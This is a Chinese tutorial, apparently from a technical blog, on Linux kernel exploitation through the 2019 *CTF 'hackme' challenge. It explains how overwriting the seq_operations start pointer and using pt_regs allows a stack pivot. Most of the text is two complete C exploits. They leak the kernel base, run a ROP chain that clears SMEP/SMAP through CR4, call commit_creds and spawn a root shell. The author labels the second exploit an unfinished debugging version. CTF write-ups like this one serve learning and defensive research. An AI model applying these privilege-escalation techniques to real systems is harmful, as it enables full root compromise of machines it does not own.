kernel利用pt regs劫持seq operations的迁移过程详解

目录
  • 劫持seq_operations进行栈迁移
    • exp1
    • 利用pt_regs
    • exp2

劫持seq_operations进行栈迁移

seq_operations是一个大小为0x20的结构体,在打开/proc/self/stat会申请出来。里面定义了四个函数指针,通过他们可以泄露出内核基地址。

struct seq_operations {
    void * (*start) (struct seq_file *m, loff_t *pos);
    void (*stop) (struct seq_file *m, void *v);
    void * (*next) (struct seq_file *m, void *v, loff_t *pos);
    int (*show) (struct seq_file *m, void *v);
};

当我们read一个stat文件时,内核会调用proc_ops的proc_read_iter指针

ssize_t seq_read_iter(struct kiocb *iocb, struct iov_iter *iter)
{
    struct seq_file *m = iocb->ki_filp->private_data;
    //...
    p = m->op->start(m, &m->index);
    //...

即会调用seq_operations->start指针,我们只需覆盖start指针为特定gadget,即可控制程序执行流。

拿2019 *starctf hackme关闭smap来尝试这种打法

exp1

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/sem.h>
#include <sys/mman.h>
int fd;
size_t heap_base, vmlinux_base, mod_tree, modprobe_path, ko_base, pool_addr;
size_t vmlinux_base, heap_base, off, commit_creds, prepare_kernel_cred;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t rop[0x100] = {0};
struct Heap{
    size_t index;
    char *data;
    size_t len;
    size_t offset;
};
void add(int index, size_t len, char *data)
{
	struct Heap heap;
	heap.index = index;
	heap.data = data;
	heap.len = len;
	ioctl(fd, 0x30000, &heap);
}
void delete(int index)
{
	struct Heap heap;
	heap.index = index;
	ioctl(fd, 0x30001, &heap);
}
void edit(int index, size_t len, size_t offset, char *data)
{
	struct Heap heap;
	heap.index = index;
	heap.data = data;
	heap.len = len;
	heap.offset = offset;
	ioctl(fd, 0x30002, &heap);
}
void show(int index, size_t len, size_t offset, char *data)
{
	struct Heap heap;
	heap.index = index;
	heap.data = data;
	heap.len = len;
	heap.offset = offset;
	ioctl(fd, 0x30003, &heap);
}
void save_status()
{
	__asm__(
	"mov user_cs, cs;"
	"mov user_ss, ss;"
	"mov user_sp, rsp;"
	"pushf;"
	"pop user_rflags;"
	);
	puts("[+] save the state success!");
}
void get_shell()
{
	if (getuid() == 0)
	{
		puts("[+] get root");
		//system("/bin/sh");
		char *shell = "/bin/sh";
		char *args[] = {shell, NULL};
		execve(shell, args, NULL);
	}
	else
	{
		puts("[-] get shell error");
		sleep(3);
		exit(0);
	}
}
void get_root(void)
{
	//commit_creds(prepare_kernel_cred(0));
	void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred;
	void (*cc)(void *) = (void (*)(void *))commit_creds;
	(*cc)((*pkc)(0));
}
int main()
{
	char buf[0x1000] = {0};
	int i;
	size_t seq_data[4] = {0};
	save_status();
	fd = open("/dev/hackme",0);
	if(fd < 0)
	{
		puts("[-] open file error");
		exit(0);
	}
	add(0, 0x20, buf); // 0
	add(1, 0x20, buf); // 1
	add(2, 0x20, buf); // 2
	add(3, 0x20, buf); // 3
	delete(0);
	delete(2);
	int fd_seq = open("/proc/self/stat", 0);
	if(fd_seq < 0)
	{
		puts("[-] open stat error");
		exit(0);
	}
	show(3, 0x20, -0x20, buf);
	vmlinux_base = ((size_t *)buf)[0] - 0xd30c0;
	printf("[+] vmlinux_base=> 0x%lx\n", vmlinux_base);
	off = vmlinux_base - raw_vmlinux_base;
	commit_creds = off + 0xffffffff8104d220;
	prepare_kernel_cred = off + 0xffffffff8104d3d0;
	show(1, 0x20, -0x20, buf);
	heap_base = ((size_t *)buf)[0] - 0x80;
	printf("[+] heap_base=> 0x%lx\n", heap_base);
	i = 0;
	rop[i++] = off + 0xffffffff8101b5a1; // pop rax; ret;
	rop[i++] = 0x6f0;
	rop[i++] = off + 0xffffffff8100252b; // mov cr4, rax; push rcx; popfq; pop rbp; ret;
	rop[i++] = 0;
	rop[i++] = (size_t)get_root;
	rop[i++] = off + 0xffffffff81200c2e; // swapgs; popfq; pop rbp; ret;
	rop[i++] = 0;
	rop[i++] = 0;
	rop[i++] = off + 0xffffffff81019356; // iretq; pop rbp; ret;
	rop[i++] = (size_t)get_shell;
	rop[i++] = user_cs;
	rop[i++] = user_rflags;
	rop[i++] = user_sp;
	rop[i++] = user_ss;
	((size_t *)buf)[0] = off + 0xffffffff8103018e; // xchg eax, esp; ret;
	edit(3, 0x20, -0x20, buf);
	size_t fake_stack = (heap_base + 0x40) & 0xffffffff;
	size_t mmap_base = fake_stack & 0xfffff000;
	if(mmap((void *)mmap_base, 0x30000, 7, 0x22, -1, 0) != (void *)mmap_base)
		{
			puts("[-] mmap error");
			sleep(3);
			exit(0);
		}
	else
		puts("[+] mmap success");
	memcpy((void *)fake_stack, rop, sizeof(rop));
	read(fd_seq, buf, 1);
	return 0;
}

利用pt_regs

可以写一段如下汇编来控制程序执行流,再通过将寄存器押上栈进行ROP

	__asm__(
	"mov r15, 0x1111111111;"
	"mov r14, 0x2222222222;"
	"mov r13, 0x3333333333;"
	"mov r12, 0x4444444444;"
	"mov rbp, 0x5555555555;"
	"mov rbx, 0x6666666666;"
	"mov r11, 0x7777777777;"
	"mov r10, 0x8888888888;"
	"mov r9,  0x9999999999;"
	"mov r8,  0xaaaaaaaaaa;"
	"mov rcx, 0x666666;"
	"mov rdx, 8;"
	"mov rsi, rsp;"
	"mov rdi, fd_seq;"
	"xor rax, rax;"
	"syscall"
	);

这是为什么呢?大家都知道系统调用是通过布置好寄存器的值之后执行syscall的过程,通过门结构进入到内核中的entry_SYSCALL_64函数。这个函数的内部存在这样一条指令:

PUSH_AND_CLEAR_REGS rax=$-ENOSYS

这个指令很巧妙,他会把所有的寄存器压到栈上形成一个pt_regs结构体,位于内核栈底。

struct pt_regs {
/*
 * C ABI says these regs are callee-preserved. They aren't saved on kernel entry
 * unless syscall needs a complete, fully filled "struct pt_regs".
 */
    unsigned long r15;
    unsigned long r14;
    unsigned long r13;
    unsigned long r12;
    unsigned long rbp;
    unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
    unsigned long r11;
    unsigned long r10;
    unsigned long r9;
    unsigned long r8;
    unsigned long rax;
    unsigned long rcx;
    unsigned long rdx;
    unsigned long rsi;
    unsigned long rdi;
/*
 * On syscall entry, this is syscall#. On CPU exception, this is error code.
 * On hw interrupt, it's IRQ number:
 */
    unsigned long orig_rax;
/* Return frame for iretq */
    unsigned long rip;
    unsigned long cs;
    unsigned long eflags;
    unsigned long rsp;
    unsigned long ss;
/* top of stack page */
};

这里寄存器r8-r15都会被放到栈上,如果我们可以合理控制好这些寄存器的值,再找到一个add rsp, xxxh; ret;的寄存器放在seq_operations->start的位置,那么就可以控制程序执行流,考虑到一般这里栈上连续存放的寄存器一般只有4-5个

我们可以用commit_creds(&init_cred)来代替commit_creds(prepare_kernel_cred(NULL)),

布局如下:

pop_rdi_ret;
init_cred;
commit_creds;
swapgs_restore_regs_and_return_to_usermode;

由于我这里并没有能找到合适的add rsp, xxxh; ret;,故就留一个调试半成品exp

exp2

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/sem.h>
#include <sys/mman.h>
int fd;
size_t heap_base, vmlinux_base, mod_tree, modprobe_path, ko_base, pool_addr;
size_t vmlinux_base, heap_base, off, commit_creds, prepare_kernel_cred;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t rop[0x100] = {0};
int fd_seq;
struct Heap{
    size_t index;
    char *data;
    size_t len;
    size_t offset;
};
void add(int index, size_t len, char *data)
{
	struct Heap heap;
	heap.index = index;
	heap.data = data;
	heap.len = len;
	ioctl(fd, 0x30000, &heap);
}
void delete(int index)
{
	struct Heap heap;
	heap.index = index;
	ioctl(fd, 0x30001, &heap);
}
void edit(int index, size_t len, size_t offset, char *data)
{
	struct Heap heap;
	heap.index = index;
	heap.data = data;
	heap.len = len;
	heap.offset = offset;
	ioctl(fd, 0x30002, &heap);
}
void show(int index, size_t len, size_t offset, char *data)
{
	struct Heap heap;
	heap.index = index;
	heap.data = data;
	heap.len = len;
	heap.offset = offset;
	ioctl(fd, 0x30003, &heap);
}
void save_status()
{
	__asm__(
	"mov user_cs, cs;"
	"mov user_ss, ss;"
	"mov user_sp, rsp;"
	"pushf;"
	"pop user_rflags;"
	);
	puts("[+] save the state success!");
}
void get_shell()
{
	if (getuid() == 0)
	{
		puts("[+] get root");
		//system("/bin/sh");
		char *shell = "/bin/sh";
		char *args[] = {shell, NULL};
		execve(shell, args, NULL);
	}
	else
	{
		puts("[-] get shell error");
		sleep(3);
		exit(0);
	}
}
void get_root(void)
{
	//commit_creds(prepare_kernel_cred(0));
	void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred;
	void (*cc)(void *) = (void (*)(void *))commit_creds;
	(*cc)((*pkc)(0));
}
int main()
{
	char buf[0x1000] = {0};
	int i;
	size_t seq_data[4] = {0};
	save_status();
	fd = open("/dev/hackme",0);
	if(fd < 0)
	{
		puts("[-] open file error");
		exit(0);
	}
	add(0, 0x20, buf); // 0
	add(1, 0x20, buf); // 1
	delete(0);
	fd_seq = open("/proc/self/stat", 0);
	if(fd_seq < 0)
	{
		puts("[-] open stat error");
		exit(0);
	}
	show(1, 0x20, -0x20, buf);
	vmlinux_base = ((size_t *)buf)[0] - 0xd30c0;
	printf("[+] vmlinux_base=> 0x%lx\n", vmlinux_base);
	off = vmlinux_base - raw_vmlinux_base;
	commit_creds = off + 0xffffffff8104d220;
	prepare_kernel_cred = off + 0xffffffff8104d3d0;
	size_t gadget = 0xffffffff8103018e; // xchg eax, esp; ret;
	((size_t *)buf)[0] = gadget;
	edit(1, 0x20, -0x20, buf);
	__asm__(
	"mov r15, 0x1111111111;"
	"mov r14, 0x2222222222;"
	"mov r13, 0x3333333333;"
	"mov r12, 0x4444444444;"
	"mov rbp, 0x5555555555;"
	"mov rbx, 0x6666666666;"
	"mov r11, 0x7777777777;"
	"mov r10, 0x8888888888;"
	"mov r9,  0x9999999999;"
	"mov r8,  0xaaaaaaaaaa;"
	"mov rcx, 0x666666;"
	"mov rdx, 8;"
	"mov rsi, rsp;"
	"mov rdi, fd_seq;"
	"xor rax, rax;"
	"syscall"
	);
	return 0;
}

以上就是kernel利用pt_regs劫持seq_operations的迁移过程详解的详细内容,更多关于kernel劫持迁移的资料请关注我们其它相关文章!

(0)

相关推荐

  • kernel劫持modprobe path内容详解

    目录 exp1 exp2 exp1 smep:smep即用户数据不可执行,当 CPU 处于 ring0 模式时,执行用户空间的代码会触发页错误,系统根据CR4寄存器的第20位判断内核是否开启smep,为1时开启,为0时关闭(第21位是SMAP位). smap:smap用户数据不可访问. 通过控制cr4寄存器为0x6f0即可绕过. #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <

  • 利用kernel提供的接口打印进程号(pid)

    c文件printPid.c 复制代码 代码如下: #include <linux/kernel.h>#include <linux/module.h>#include <linux/init.h>#include <linux/sched.h>#include <linux/list.h> static __init int printPid(void) //安装模块函数{    struct task_struct *task,*p;    s

  • kernel利用pt regs劫持seq operations的迁移过程详解

    目录 劫持seq_operations进行栈迁移 exp1 利用pt_regs exp2 劫持seq_operations进行栈迁移 seq_operations是一个大小为0x20的结构体,在打开/proc/self/stat会申请出来.里面定义了四个函数指针,通过他们可以泄露出内核基地址. struct seq_operations { void * (*start) (struct seq_file *m, loff_t *pos); void (*stop) (struct seq_fi

  • C++利用MySQL API连接和操作数据库实例详解

    1.C++连接和操作MySQL的方式 系列文章: MySQL 设计和命令行模式下建立详解 C++利用MySQL API连接和操作数据库实例详解 在Windows平台,我们可以使用ADO.ODBC或者MySQL API进行连接和操作.ADO (ActiveX Data Objects,ActiveX数据对象)是Microsoft提出的一个用于存取数据源的COM组件.它提供了程序语言和统一数据访问方式OLE DB的一个中间层,也就是Microsoft提出的应用程序接口(API)用以实现访问关系或非关

  • Spring中利用配置文件和@value注入属性值代码详解

    1 简单属性值注入 package com.xy.test1; import org.springframework.beans.factory.annotation.Value; import org.springframework.stereotype.Service; @Service // 需要被注入属性值的类需要被Spring管理 public class PropertiesService1 { // 利用@Value注解,即使没有该属性或者属性文件也不会报错 // @Value输入

  • React如何利用Antd的Form组件实现表单功能详解

    一.构造组件 1.表单一定会包含表单域,表单域可以是输入控件,标准表单域,标签,下拉菜单,文本域等. 这里先引用了封装的表单域 <Form.Item /> 2.使用Form.create处理后的表单具有自动收集数据并校验的功能,但如果不需要这个功能,或者默认的行为无法满足业务需求,可以选择不使用Form.create并自行处理数据 经过Form.create()包装过的组件会自带this.props.form属性,this.props.form提供了很多API来处理数据,如getFieldDe

  • python2利用wxpython生成投影界面工具的图文详解

    本投影界面工具的功能: 准备好.prj投影文件,将输入文件夹内的WGS84经纬度坐标shp文件,投影为平面文件,成果自动命名为prj_***并新建在输入文件夹同一路径下. 下一步目标: 利用pyinstaller或其他打包库生成exe文件,目前停滞在python2语法.arcpy打包出错相关问题上. 参考文献: <Using Py2exe with Arcpy- It can be done easily!> <如何使用py2exe打包arcpy脚本?> GUI界面示意图 投影文件

  • 利用Numba与Cython结合提升python运行效率详解

    目录 Numba Numba 模式 什么是LLVM? Numba的优势: Numba的劣势: Cython Cython的优势: Cython的劣势: Numba 对 Cython Numba Numba是一个即时(JIT)编译器,它将Python代码转换为用于CPU和GPU的本地机器指令.代码可以在导入时.运行时或提前编译. 通过使用jit装饰器,使用Numba非常容易: 正如你所知道的,在Python中,所有代码块都被编译成字节码: 代码优化 为了优化Python代码,Numba从提供的函数

  • php安全攻防利用文件上传漏洞与绕过技巧详解

    目录 前言 文件上传漏洞的一些场景 场景一:前端js代码白名单判断.jpg|.png|.gif后缀 场景二:后端PHP代码检查Content-type字段 场景三:代码黑名单判断.asp|.aspx|.php|.jsp后缀 场景四:代码扩大黑名单判断 绕过方式--htaccsess: 绕过方式--大小写绕过: 场景五:一些复合判断 空格.点绕过(windows) ::$DATA绕过(windows) 双写绕过 %00截断 %0a绕过 图片马绕过 二次渲染绕过 条件竞争 /.绕过 前言 文件上传漏

  • Python利用三层神经网络实现手写数字分类详解

    目录 前言 一.神经网络组成 二.代码实现 1.引入库 2.导入数据集 3.全连接层 4.ReLU激活函数层 5.Softmax损失层 6.网络训练与推断模块 三.代码debug 四.结果展示 补充 前言 本文做的是基于三层神经网络实现手写数字分类,神经网络设计是设计复杂深度学习算法应用的基础,本文将介绍如何设计一个三层神经网络模型来实现手写数字分类.首先介绍如何利用高级编程语言Python搭建神经网络训练和推断框架来实现手写数字分类的训练和使用. 本文实验文档下载 一.神经网络组成 一个完整的

  • 利用Python多处理库处理3D数据详解

    今天我们将介绍处理大量数据时非常方便的工具.我不会只告诉您可能在手册中找到的一般信息,而是分享一些我发现的小技巧,例如tqdm与 multiprocessing​imap​​一起使用.并行处理档案.绘制和处理 3D 数据以及如何搜索如果您有点云,则用于对象网格中的类似对象.​ 那么我们为什么要求助于并行计算呢?如今,如果您处理任何类型的数据,您可能会面临与"大数据"相关的问题.每次我们有不适合 RAM 的数据时,我们都需要一块一块地处理它.幸运的是,现代编程语言允许我们生成在多核处理器

  • 利用Hadoop实现求共同好友的示例详解

    目录 前言 业务分析 实现思路分析 编码实现 1.第一个map类 2.第一个Reduce类 3.第一个Job类 4.第二个map类 5.第二个Reducer类 6.第二个Job类 前言 在很多社交APP中,比如大家熟悉的QQ好友列表中,打开会话框,经常可以看到下面有一栏共同好友的推荐列表,用户通过这种方式,可以添加潜在的关联好友 这种功能该如何实现呢?对redis比较了解的同学应该能很快想到,可以使用redis来实现这个功能.没错,redis确实是个不错的可以实现这个功能的方案. 但redis的

随机推荐